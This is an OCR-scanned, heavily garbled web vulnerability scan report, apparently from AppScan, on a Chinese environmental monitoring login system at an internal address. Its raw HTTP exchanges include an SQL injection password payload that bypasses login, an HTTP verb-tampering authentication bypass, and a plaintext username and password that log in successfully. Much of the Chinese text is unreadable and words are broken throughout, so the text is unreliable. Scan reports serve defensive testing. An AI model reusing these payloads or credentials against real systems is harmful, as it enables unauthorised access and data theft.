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search startTime
search endTime
search pollutants

search startTime
search_endTime

http://172.20.
http://172.20.

.168:8083/amOnline/app/AppLlogin.page
.168:8083/amOnline/app/j spring security check
http://172.20.7.168:8083/amOnline/app/AppMain.page
http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!listPsInfo.page?
psid=& =1561344683129
http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history
.page
http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!getPoll
utantsWithPsID.page?psID=510101055565
http://172.20.7.168:8083/amOnline/app/mpoint/mpAction!getMpByPS ID.p
age?psid=510101055565& =1561344693179
http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!getHist
Data.page?

PageNo=1&PageSize=10000000&search mpId=51010105556514&search mpType=
4¢search psID=510101055565&search regionCode=510101000&search startT
ime=2019-06-18+00:00:00.000&search endTime=2019-06-
24+10:51:34&search dataType=lé&search pollutants=060,B01,072,001,101,
O0llssearch incineratorFlag=0& =1561344693180
http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.pa
ge
http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction! findAcc
eptInfos.page
http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.pa
ge
http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!findSto
pInfos.page
http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!list
.page
http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abno
rmity.page
http://172.20.7.168:8083/amOnline/app/account/accountAction!list.pag
e
http://172.20.7.168:8083/amOnline/app/account/accountAction!jsonlList

.page
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http://172.20.7.168:8083/amonline/app/j_spring_security_check
j_password (Parameter)

Al RE S5 IT Web AR T FIVENLHI

A% SN IE BT 16 B = 400 2

: BE Gk T REN KT B TT %

Z=5t:  cookie CMIERERZ:: 5726aA5AE8E37C43B017578F75A282932

?ﬁ ay\iﬁﬁzﬁ%f‘ front_user

S DL EBATES]: 13981937605 &: 4ppScdn
28 MU BTN nfjca &: 4ppscan

S8 WU T BEHATIER]:  nfjcd F:  A227+0R+%277659%2723D%277659
S8 LT B AT

hfjcd §§: s3ct3amy
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POST /amOnline/app/j spring security check HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1
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Content-Length: 39
j_username=13981937605&]j_password=hfjcd

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=IS0-8859-1

Content-Length: 61

Date: Mon, 24 Jun 2019 03:54:08 GMT

Set-Cookie: JSESSIONID=6993440D022BCC5B7FC8A795591A8460; Path=/amOnline; HttpOnly

{

"result": "success",

"targetUrl": "/amOnline/app/AppMain.page"
}

POST /amOnline/app/j_spring security check HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/AppLogin.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 37

j_username=4ppSc4n&j_password=4ppScén

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 136

Date: Mon, 24 Jun 2019 03:54:08 GMT

Set-Cookie: JSESSIONID=452DB504E7F4B4962319E1CE7FD1661B; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " FH P AR, TR RS s fg v

}

POST /amOnline/app/j spring security check HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/ApplLogin.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 62

j_username=13981937605&j password=A%27+0R+%277659%27%3D%277659

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=IS0-8859-1

Content-Length: 61

Date: Mon, 24 Jun 2019 03:54:08 GMT

Set-Cookie: JSESSIONID=150F62850C5663D09B0CC496DB346E56; Path=/amOnline; HttpOnly

{

"result": "success",

"targetUrl": "/amOnline/app/AppMain.page"
}

POST /amOnline/app/j_spring security check HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page

Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
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Host: 172.20.7.168:8083
Connection: Keep-Alive
Pragma: no-cache
Cookie: hasshown=1
Content-Length: 38

j_username=4ppSc4n&j_password=s3ct3amy

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 136

Date: Mon, 24 Jun 2019 03:54:08 GMT

Set-Cookie: JSESSIONID=F0598FAE1CD7BE312D16F9AB32CB943A; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " FPAAEAE, R R 2 IR T i e

}

W 1/ 4 Toc

CREENERIER

e =
Cvss /r#t: 85
URL: http://172.20.7.168:8083/amonline/app/j_spring_security_check
Sk j_spring_security_check (Page)
ARG - AR B I U P 44 R RS A RN UKL T A P & RE R
JE A - WA P 4 B EANE HR S Z RABURE N\ 7 BOR &N RV BEAT T 4414
805 i - RISHURAE B, IRZ&AEH SSL M1 POST (L48) 4.
P31
#EE:  AppScan I T AR SSL KIERIE R K.
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POST /amOnline/app/j_spring security check HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=4801DD573D4D329FBF176E117991946F

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Length: 123

j_logintype=front_user&j_1t=2c9487286b79d3e4016b8767113el2ebs&]j_slt=&loginType=front&j_username=1.
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HTTP/1.1 302 Found

Server: Apache-Coyote/1.1

Location: /amOnline/app/AppMain.page

Content-Length: 0

Date: Mon, 24 Jun 2019 02:53:27 GMT

Set-Cookie: JSESSIONID=898FFF2A3BE84AF807D06E6FBED6B74D; Path=/amOnline; HttpOnly

GET /amOnline/app/AppMain.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=AE1E776BF33CD2F26A4429E80DCAFFAA

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:27 GMT
x-ua-compatible: IE=edge,chrome=1

<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>H fHis Ay A IE HAEMEIRE RS (ki) </title>
<link rel="stylesheet" href="/amOnline/static/layui/css/layui.css" media="all">
<style>
.layui-body{
left:0px;
}
.layui-side({
width:0px;
}
.layui-layout-admin .layui-body{
bottom: 0px;
}
</style>

</head>
<body class="layui-layout-body">
<div class="layui-layout layui-layout-admin">
<div class="layui-header layui-bg-blue">
<div class="layui-logo">H mHH5 BN A B) S 5ERBHE E RS (k) </div>
<t-— SkEXHE (ATRlElayui A RKFSHD -->
<ul class="layui-nav layui-layout-right layui-bg-blue">
<1i class="layui-nav-item layui-this"><a href="#"
onclick="loadIframe ('app/psinfo/psInfo!view.page') ">EEA(FEEYEY'</a></1i>
<li class="layui-nav-item" id="historyLine"><a href="#"
onclick="loadIframe ('app/onlinemon/onlineAction'history.page') ">¥ I EfE</a></11>

<1li class="layui-nav-item">
<a href="javascript:; ">HlIZiiEH</a>
<dl class="layui-nav-child" id="xcdzhgl">
<dd><a href="#" onclick="loadIframe ('app/monitorspot/spotAction!list.page"')">
W& < /a></dd>
<dd><a href="#"
onclick="loadIframe ('app/monitorspot/stopAction!list.page') ">{Fiz&H</a></dd>
<!--<dd><a href="#"
onclick="loadIframe ('app/viewmonitor/monitorDataAction!list.page"')">f5EHik</a></dd> -->
</d1>
</1i>
<1li class="layui-nav-item" id='reviseli'><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page") ">¥#EIric</a></1i>
<!-- <1i class="layui-nav-item" ><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page")">¥¥Etric</a></1i>
<1li class="layui-nav-item" ><a href="#"
onclick="loadIframe ('http://m.envsc.cn/WXIndexPSForQYD.aspx?
key=wPLFgACAKGA&pscode=140000000223&... —-->
<1li class="layui-nav-item">
<a href="javascript:;">

12
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<img src="/amOnline/static/layui/images/ocoopic_1509436490.png" class="layui-

BRI
</a>
<dl class="layui-nav-child">
<dd><a href="#" onclick="loadIframe ('app/account/accountAction!list.page')">

nav-img">

K< /a></dd>
<dd><a href="#" onclick="loadIframe ('app/loginfo/loginfoAction!list.page')">
BiEH & </a></dd>
<dd><a onclick="logoutSys ()" href="javascript:void(0);" >BH&R%i</a></dd>
</dl>
</1i>
</ul>
</div>

<div class="layui-body">

<iframe id="frame lgpblpww" src="/amOnline/app/psinfo/psInfo!view.page"
style="'width:100%; margin-right:-15px!important;margin-bottom:-14px!important;
overflow-y:scroll; overflow-x:hidden;' > </iframe>
</div>

</div>
<script src="/amOnline/static/layui/layui.js" charset="utf-8"></script>

<U-- VERG WORREEREHITA AR, iRy sBAR T E U KA >

<script>

layui.use('element', function() {
var element = layui.element; //SfifflhoverXUR. T4 EMETRE, TEMKBlelement il

/ /T S
element.on ('nav(demo) ', function (elem) {
layer.msg(elem.text());
1)
3

function changeFrameHeight () {

var ifm= document.getElementById("frame_lgpblpww");
ifm.height=

2/ 4

O EXIER

T

=

Cvss 7+#t: 85

URL:

Sefhk:
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http://172.20.7.168:8083/amonline/app/applogin.page

comfirmPwd (Parameter)
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HE#:  AppScan B T A EIEI SSL AR # IS SHL .
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POST /amOnline/app/AppLogin.page?loginError=auth failed HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=4801DD573D4D329FBF176E117991946F

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppLogin.page?loginError=auth_failed
Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Length: 187

loginType=front&j_1t=2c9487286b79d3e4016b8767117d1l2eds&cmUsername=1234&verificationCode=1234&logi.

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:27 GMT

Set-Cookie: JSESSIONID=167E4BA3604AB80CF03E4E18B0398447; Path=/amOnline; HttpOnly
x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<title>T pilbyg Bfy A A % HEMBHRE RS (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
mce_href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>

<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = 'l';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8767136112£f0"';
</script>

<script src="/amOnline/static/script/common.js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<l-- EHRER -—>
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<t-— MR -->
<script src="/amOnline/static/script/jquery.qrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/gr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;
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top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

.messager-text{
width:200px;
}
.gr_login_sm fs{height:100px;width: 288px;margin:0Opx auto;text-align: center; }
.login_type_fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/1l m_title_info.png" style="margin-
top:270px;"/>
</div>

<!--fEZ&%MBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_ Show" class="btnOpen" title=" BEMELE
i onClick="javascript:$('#divFloatToolsView') .animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net') ;

}):$('#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools_Hide').attr('style', 'disp.

href="javascript:void(0) ;">

JEIF</a>
<a style="display: none" id="aFloatTools Hide" class="btnCtn" title=" K ATELR R
onClick="javascript:$('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function(){ $('#divFloatToolsView').hide();kf_setCookie ('RightFloatShown', 1, '', '/',

'www.shopnc.net"') ;

}):$('#aFloatTools_Show') .attr ('style', 'display:block');$('#aFloatTools_Hide').attr('style', 'dis.

href="javascript:void (0) ;">
Wdi</a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
<p><img src="/amOnline/static/8.jpg" width=

3/ 4

O EXIER

T

=

=

Cvss 7+#t: 85

URL:
otk

2019/6/24

http://172.20.7.168:8083/amonline/app/applogin.page

newPwd (Parameter)

AT RS B3 I U P 44 R RS A R N RS TR P BB R
WA A4 ERAME RS 2 R BUR N T BOR N B BT 14558
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TOC

15



2019/6/24

HE#:  AppScan B T A EIEI SSL AR # IS SHL .
a7 SR A -

POST /amOnline/app/Applogin.page HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=2F054296B22CF446C215F74AF599D847

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Length: 187

loginType=front&j_1t=2c9487286b79d3e4016b8766909512e0&cmUsername=1234&verificationCode=1234&logi.

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:26 GMT

x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<title>T fifFg il A is 5REMBIEERG (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
mce_href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>

<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = '1';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8767113el2eb’;
</script>

<script src="/amOnline/static/script/common.js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<l-- fELER -->
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<U-— PR -->
<script src="/amOnline/static/script/jquery.grcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/qr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;
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margin-top: -69px;
vertical-align: middle;
text-align: center;

}

.messager-text{
width:200px;
}
.gr_login_sm_fs{height:100px;width: 288px;margin:0px auto;text-align: center; }
.login type fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/l m title info.png" style="margin-
top:270px;"/>
</div>

<! ——E?ﬁgﬂ&Begin——>
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_Show" class="btnOpen" title=" BEELE
JE" onClick="javascript:$('#divFloatToolsView').animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf_ setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net"') ;

}):$('#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools_Hide').attr('style', 'disp.

href="javascript:void(0) ;">

JEFF</a>
<a style="display: none" id="aFloatTools_Hide" class="btnCtn" title=" RHATEL ]
onClick="javascript:$ ('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function () { $('#divFloatToolsView') .hide();kf setCookie('RightFloatShown', 1, '', '/"',

'www.shopnc.net');

}):$ ("#aFloatTools_Show') .attr('style', 'display:block');$ ('#aFloatTools Hide') .attr('style', 'dis.

href="javascript:void (0) ;">
Wi</a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
<p><img src="/amOnline/static/8.jpg" width="100px" height="100px"/></p>
<p><span style="text-align: left; color: rgb(255, 255, 255); font-size:
18px; font-weight: bold;

4 | 4
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CvVSss 7+#t: 85

URL:
Sotk-
R -
-
05 i -

2019/6/24

http://172.20.7.168:8083/amonline/app/j_spring_security _check
j_password (Parameter)
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x5t
#E#E:  AppScan B T ARSI SSL AR # S HL .
a7 R A -

POST /amOnline/app/j_spring_ security_check HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=4801DD573D4D329FBF176E117991946F

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;gq=0.9,%*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/Applogin.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Length: 123

j_logintype=front user&j_ 1t=2c9487286b79d3e4016b8767113el2ebs&]j_slt=&loginType=front&j_username=1.

HTTP/1.1 302 Found

Server: Apache-Coyote/1.1

Location: /amOnline/app/AppMain.page

Content-Length: 0

Date: Mon, 24 Jun 2019 02:53:27 GMT

Set-Cookie: JSESSIONID=898FFF2A3BE84AF807D06E6FBED6B74D; Path=/amOnline; HttpOnly

GET /amOnline/app/AppMain.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=AE1lE776BF33CD2F26A4429E80DCAFFAA

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:27 GMT
x-ua-compatible: IE=edge,chrome=1

<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>H piHHT AL E B SRR BB E RS (ki) </title>
<link rel="stylesheet" href="/amOnline/static/layui/css/layui.css" media="all">
<style>
.layui-body{
left:0px;
}
.layui-side{
width:0px;
}
.layui-layout-admin .layui-body{
bottom:0px;
}
</style>

</head>
<body class="layui-layout-body">
<div class="layui-layout layui-layout-admin">
<div class="layui-header layui-bg-blue">
<div class="layui-logo">H sHk5 AL H B M55 R B E RS (ki) </div>
<l-- X (MRS layui BHIKTFSAD  -->
<ul class="layui-nav layui-layout-right layui-bg-blue">
<1li class="layui-nav-item layui-this"><a href="#"
onclick="loadIframe ('app/psinfo/psInfo!view.page') ">FA(FEYEY'</a></1i>
<li class="layui-nav-item" id="historyLine"><a href="#"
onclick="loadIframe ('app/onlinemon/onlineAction'history.page') ">#IEMIE</a></11>

<li class="layui-nav-item">
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Sl g

<a href="javascript:; ">HlIZimE#</a>
<dl class="layui-nav-child" id="xcdzhgl">
<dd><a href="#" onclick="loadIframe ('app/monitorspot/spotAction!list.page')">
WA </a></da>
<dd><a href="#"
onclick="loadIframe ('app/monitorspot/stopAction!list.page')">{FEEH</a></dd>
<!--<dd><a href="#"
onclick="loadIframe ('app/viewmonitor/monitorDataAction!list.page"')">f5EHik</a></dd> -->
</d1>
</1li>
<1li class="layui-nav-item" id='reviseLi'><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page") ">¥#Etric</a></1i>
<!-- <1i class="layui-nav-item" ><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page")">¥¥Etric</a></1i>
<1li class="layui-nav-item" ><a href="#"
onclick="loadIframe ('http://m.envsc.cn/WXIndexPSForQYD.aspx?
key=wPLFgACAKGA&pscode=140000000223&. .. -->
<1li class="layui-nav-item">
<a href="javascript:;">
<img src="/amOnline/static/layui/images/ooopic_1509436490.png" class="layui-
nav-img">
TR
</a>
<dl class="layui-nav-child">
<dd><a href="#" onclick="loadIframe ('app/account/accountAction!list.page')">

K< /a></dd>
<dd><a href="#" onclick="loadIframe ('app/loginfo/loginfoAction!list.page')">
BEH & </a></dd>
<dd><a onclick="logoutSys ()" href="javascript:void(0);" >iBH R%i</a></dd>
</dl>
</1i>
</ul>
</div>

<div class="layui-body">

<iframe id="frame_ lgpblpww" src="/amOnline/app/psinfo/psInfo!view.page"
style='width:100%; margin-right:-15px!important;margin-bottom:-14px!important;
overflow-y:scroll; overflow-x:hidden;' > </iframe>
</div>

</div>
<script src="/amOnline/static/layui/layui.js" charset="utf-8"></script>
<l-- R WMRREEERITA AL RIAN, FiRy s B T ESURIRA ) -—>

<script>

layui.use('element', function () {
var element = layui.element; //SfiflhoverB . “HRHEIEE, TFEMKielement Bl

/ /W S
element.on ('nav (demo) ', function (elem) {
layer.msg(elem.text ());
1)
}) i

function changeFrameHeight () {
var ifm= document.getElementById("frame_lgpblpww");
ifm.height=
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Authentication Bypass Using HTTP Verb Tampering

P
Cvss /1%: 6.4
URL: http://172.20.7.168:8083/amonline/app/applogin.page
Sk AppLogin.page (Page)
ARG - A RE T PR BOFE T Web SR 7 SRIUE B VF AT AL
ATRES R X Web MATRRFFOBURME S, 4. S5, Pk A/ e U A &
JEiH - Web 27 2B B A 24
I 5 - Configure your server to allow only required HTTP methods

Z5: ik WLLUTF B TER:  eer ®: socus

cookie T IERFRZE: E5cID3AC69648D3DEATBEBD6FBTASFAER

#fEFE:  The test result seems to indicate a vulnerability because the Test Response is identical to the
Original Response, indicating that the verb tampering was able to bypass the site authentication

I R i -

BOGUS /amOnline/app/AppLogin.page HTTP/1.1

Cookie: hasshown=1

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;gq=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/j_spring_security_logout

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:55:23 GMT

Set-Cookie: JSESSIONID=BEB7609C1D1269273AA02954E1036BAl; Path=/amOnline; HttpOnly
x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>TE b5 8fy A A i HEMBHEE RS (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
mce href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>

2019/6/24 20
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<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = 'l';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8768d8£d1306"';
</script>

<script src="/amOnline/static/script/common.js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<l-- EHRER -—>
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<t-— MR -->
<script src="/amOnline/static/script/jquery.qrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/gr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

}

